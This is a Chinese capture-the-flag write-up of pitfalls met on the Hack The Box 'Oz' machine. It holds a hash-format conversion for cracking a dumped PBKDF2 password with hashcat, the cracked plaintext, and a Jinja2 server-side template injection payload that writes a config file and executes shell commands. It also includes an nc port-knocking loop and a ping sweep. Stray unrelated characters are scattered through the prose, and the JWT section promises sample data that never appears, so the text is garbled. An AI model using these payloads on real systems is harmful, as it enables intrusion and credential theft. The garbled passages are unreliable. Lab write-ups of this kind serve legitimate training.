OZ的詳細(xì)攻略網(wǎng)上已經(jīng)放出了:https://0xdf.gitlab.io/2019/01/12/htb-oz.htm
這里只對(duì)踩過(guò)的坑進(jìn)行記錄塑顺。
1.目錄爆破wfuzz看起來(lái)是最好的工具松逊,但你必須熟練掌握過(guò)濾器的用法稿饰。
2.注入成功后的密碼格式轉(zhuǎn)換一頓google后你會(huì)發(fā)現(xiàn)這種格式和Django所使用的密碼格式非常相似,都是 "密碼算法+加密輪數(shù)+鹽+哈希" 的格式牵囤,但是你把hash仍給hashcat破譯會(huì)發(fā)現(xiàn)格式無(wú)法識(shí)別反砌,Django使用的密碼搁凸,鹽和哈希都是經(jīng)過(guò)base64編碼的,而這個(gè)串base64并不能解碼睦焕,還需要進(jìn)一步轉(zhuǎn)換藐握。正確的解碼姿勢(shì)如下
from passlib.utils import ab64_decode
import binascii
base64.b64encode( ab64_decode('qUh6jZRy02ZrHTz5J6O3sy38Sa1ORoZnVjLz5juo.2E') )
這是一種特殊的ab64的base64編碼方案,它比普通的base64編碼更短一些垃喊。同時(shí)還需要對(duì)這個(gè)密碼格式進(jìn)行一些轉(zhuǎn)換
echo '$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ' | gawk '{sub(/^.*-/,"")}$1=$1' FS=\$ OFS=:
輸出格式為:sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg==:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY=這個(gè)格式的hash可以被hashcat識(shí)別format=10900猾普,明文wizardofoz22
3.利用密碼可以登錄8080端口的應(yīng)用,這里有個(gè)新的知識(shí)叫SSTI攻擊本谜,也就是服務(wù)端模板注入初家,參考資料可以參見(jiàn):https://www.cnblogs.com/tyomcat/p/5440488.html,同時(shí)網(wǎng)上發(fā)布了自動(dòng)化攻擊工具類(lèi)似sqlmap乌助,叫做Tplmap溜在,項(xiàng)目地址:https://github.com/epinna/tplmap,手動(dòng)攻擊的步驟如下:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
4.在進(jìn)行SSTI之前眷茁,還進(jìn)行了JWT攻擊嘗試炕泳,可惜這是個(gè)陷阱,并沒(méi)有脆弱性可以利用上祈,但學(xué)到了不少JWT的攻擊方法培遵。首先是JWT的格式,這是一套cookie設(shè)置方案登刺,返回的串共有三段由點(diǎn)號(hào)分隔籽腕,并經(jīng)過(guò)base64編碼,前一段寫(xiě)明了加密方式纸俭,中間是用戶(hù)名等一些輔助信息皇耗,最后一段是數(shù)字簽名,示例數(shù)據(jù)格式如下:
5.端口敲門(mén)芙粱,這是一個(gè)老問(wèn)題了,發(fā)現(xiàn)一個(gè)腳本好用記錄一下氧映。
ports="40809 50212 46969"; for port in $ports; do echo "a" | nc -u -w 1 10.10.10.96 ${port}; sleep 0.5; done; echo "knock done"; nc -w 1 -nvv 10.10.10.96 22
6.簡(jiǎn)單的ping掃描春畔,以后不用到處去找了。
$ for i in $(seq 1 254); do ping -c 1 10.100.10.${i} | grep "bytes from"; done;
最后需要惡補(bǔ)的就是docker知識(shí)屯耸。